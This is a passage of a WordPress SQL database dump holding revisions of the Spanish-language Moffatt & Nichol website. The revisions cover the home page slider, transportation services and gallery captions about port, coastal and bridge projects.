width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Huishan North Bund Marina de Servicios de Ingeniería</strong></div>\r\n                <div class=\"project_right\">Como miembro clave del equipo de diseño de Huishan Norte Bund, Moffatt & Nichol proporcionan el diseño esquemático de dos cuencas marinas y sistemas de bloqueo,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Rehabilitación del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaboró con el Puerto unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-6','','','2012-07-09 11:11:46','2012-07-09 11:11:46','',19,'http://moffattnichol.com/spanish/19-revision-6/',0,'revision','',0),(2580,1,'2012-07-09 11:23:36','2012-07-09 11:23:36','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa Corredor Alameda Equipo de Ingeniería de las articulaciones, Moffatt & Nichol proporcionan planificación, ingeniería <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Huishan North Bund Marina de Servicios de Ingeniería</strong></div>\r\n                <div class=\"project_right\">Como miembro clave del equipo de diseño de Huishan Norte Bund, Moffatt & Nichol proporcionan el diseño esquemático de dos cuencas marinas y sistemas de bloqueo,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Sabine Pass LNG Marine Terminal</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol proporcionan EPC diseño de ingeniería marina para la Sabine Pass LNG Terminal en el Canal Sabine, a unos 5 kilómetros desde el Golfo de México.<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Puget Sound Naval Shipyard Frente de Inspección de Instalaciones</strong></div>\r\n              <div class=\"project_right\">En virtud de un contrato de IDIQ con el Centro de Servicio NAVFAC, Moffatt & Nichol proporcionan instalaciones ribereñas servicios de inspección de<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-7','','','2012-07-09 11:23:36','2012-07-09 11:23:36','',19,'http://moffattnichol.com/spanish/19-revision-7/',0,'revision','',0),(2581,1,'2012-08-10 13:34:32','2012-08-10 13:34:32','','Brad','','inherit','open','open','','brad-new-3','','','2012-08-10 13:34:32','2012-08-10 13:34:32','',2569,'http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg',0,'attachment','image/jpeg',0),(2582,1,'2012-06-15 06:22:17','2012-06-15 06:22:17','<div class=\"content_faq\">\r\n[vslider name=\"transportation\"] <h3>transportation</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-3','','','2012-06-15 06:22:17','2012-06-15 06:22:17','',634,'http://moffattnichol.com/spanish/634-revision-3/',0,'revision','',0),(2583,1,'2012-08-14 04:35:21','2012-08-14 04:35:21','<div class=\"content_faq\">\r\n[vslider name=\"transportation\"] <h3>transporte</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-4','','','2012-08-14 04:35:21','2012-08-14 04:35:21','',634,'http://moffattnichol.com/spanish/634-revision-4/',0,'revision','',0),(2584,1,'2012-08-29 11:13:13','2012-08-29 11:13:13','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-one.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Recuperación de playas en la región de San Diego</div>\n<div class=\"gallary-text\">Moffatt & Nichol preparó el diseño preliminar de un esfuerzo de la playa en toda la región que se extiende desde la reposición de Oceanside en Imperial Beach, California, que incluyó el dragado de 2 millones de metros cúbicos de arena procedente de fuentes en alta mar y descargarla en 13 playas diferentes.</div>\n</div>','Coastel one','','inherit','open','open','','2302-autosave','','','2012-08-29 11:13:13','2012-08-29 11:13:13','',2302,'http://moffattnichol.com/spanish/2302-autosave/',0,'revision','',0),(2585,1,'2012-08-29 11:15:07','2012-08-29 11:15:07','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-two.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Restauración de los humedales de Bolsa Chica</div>\n<div class=\"gallary-text\">Después de casi 80 años de degradación del medioambiente, los humedales de Bolsa Chica fueron designados como zona de mitigación para los puertos de Los Ángeles y Long Beach, quienes seleccionaron a Moffatt & Nichol para proporcionar servicios de ingeniería y gestión del programa para una restauración ecológica de $147 millones.</div>\n</div>\n','Coastel two','','inherit','open','open','','2303-autosave','','','2012-08-29 11:15:07','2012-08-29 11:15:07','',2303,'http://moffattnichol.com/spanish/2303-autosave/',0,'revision','',0),(2586,1,'2012-08-29 11:18:26','2012-08-29 11:18:26','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Centro de transferencia de contenedores intermodal Chatham Yard</div>\n<div class=\"gallary-text\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt & Nichol completó el planeamiento, diseño, gestión de autorizaciones y gestión de la construcción de un nuevo y estratégico Centro de transferencia de contenedores intermodal en la terminal de Garden City en Savannah, Georgia.</div>\n</div>','Transportation two','','inherit','open','open','','2310-autosave','','','2012-08-29 11:18:26','2012-08-29 11:18:26','',2310,'http://moffattnichol.com/spanish/2310-autosave/',0,'revision','',0),(2587,1,'2012-08-29 11:18:27','2012-08-29 11:18:27','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-three.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Hawaii Superferry</div>\n<div class=\"gallary-text\">Moffatt & Nichol se encargó de la gerencia del proyecto, revisión técnica y servicios de diseño para el desarrollo del servicio del Hawaii Superferry, que incluyó cuatro nuevas terminales de transbordador ubicadas en instalaciones portuarias estatales en Oahu, Kauai, Maui y la Isla Grande de Hawai.</div>\n</div>','Transportation three','','inherit','open','open','','2311-autosave','','','2012-08-29 11:18:27','2012-08-29 11:18:27','',2311,'http://moffattnichol.com/spanish/2311-autosave/',0,'revision','',0),(2588,1,'2012-08-29 11:19:29','2012-08-29 11:19:29','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-five.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Reemplazo del tramo este del puente de la Bahía Oakland de San Francisco</div>\n<div class=\"gallary-text\">Como parte de una empresa conjunta, Moffatt & Nichol prestó servicios de diseño de ingeniería y de gerencia del proyecto para el reemplazo del tramo este de la vía paralela de doble segmento de 3,5 km de longitud del puente de la bahía de Oakland, San Francisco, que conecta la isla Yerba Buena y Oakland.</div>\n</div>','Transportion five','','inherit','open','open','','2313-autosave','','','2012-08-29 11:19:29','2012-08-29 11:19:29','',2313,'http://moffattnichol.com/spanish/2313-autosave/',0,'revision','',0),(2589,1,'2012-08-29 11:19:30','2012-08-29 11:19:30','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-four.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Corredor Heartland</div>\n<div class=\"gallary-text\">Moffatt & Nichol desempeñó un papel fundamental en recabar financiamiento y apoyo para el Corredor Heartland, una empresa público–privada con el fin de aumentar la capacidad de carga y reducir el tiempo de tránsito entre el puerto de Virginia y los mercados del medio oeste.</div>\n</div>','Transportation four','','inherit','open','open','','2312-autosave','','','2012-08-29 11:19:30','2012-08-29 11:19:30','',2312,'http://moffattnichol.com/spanish/2312-autosave/',0,'revision','',0),(2590,1,'2012-08-29 11:22:06','2012-08-29 11:22:06','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Servicios de ingeniería del puerto deportivo Huishan North Bund</div>\n<div class=\"gallary-text\">Como miembro principal del equipo de diseño de Huishan North Bund, Moffatt & Nichol aportó el diseño esquemático para dos sistemas de estanques y esclusas así como el diseño de concepto para el atraque de buques recreacionales a lo largo del río afuera de las esclusas del puerto deportivo.</div>\n</div>','Urban one','','inherit','open','open','','2314-autosave','','','2012-08-29 11:22:06','2012-08-29 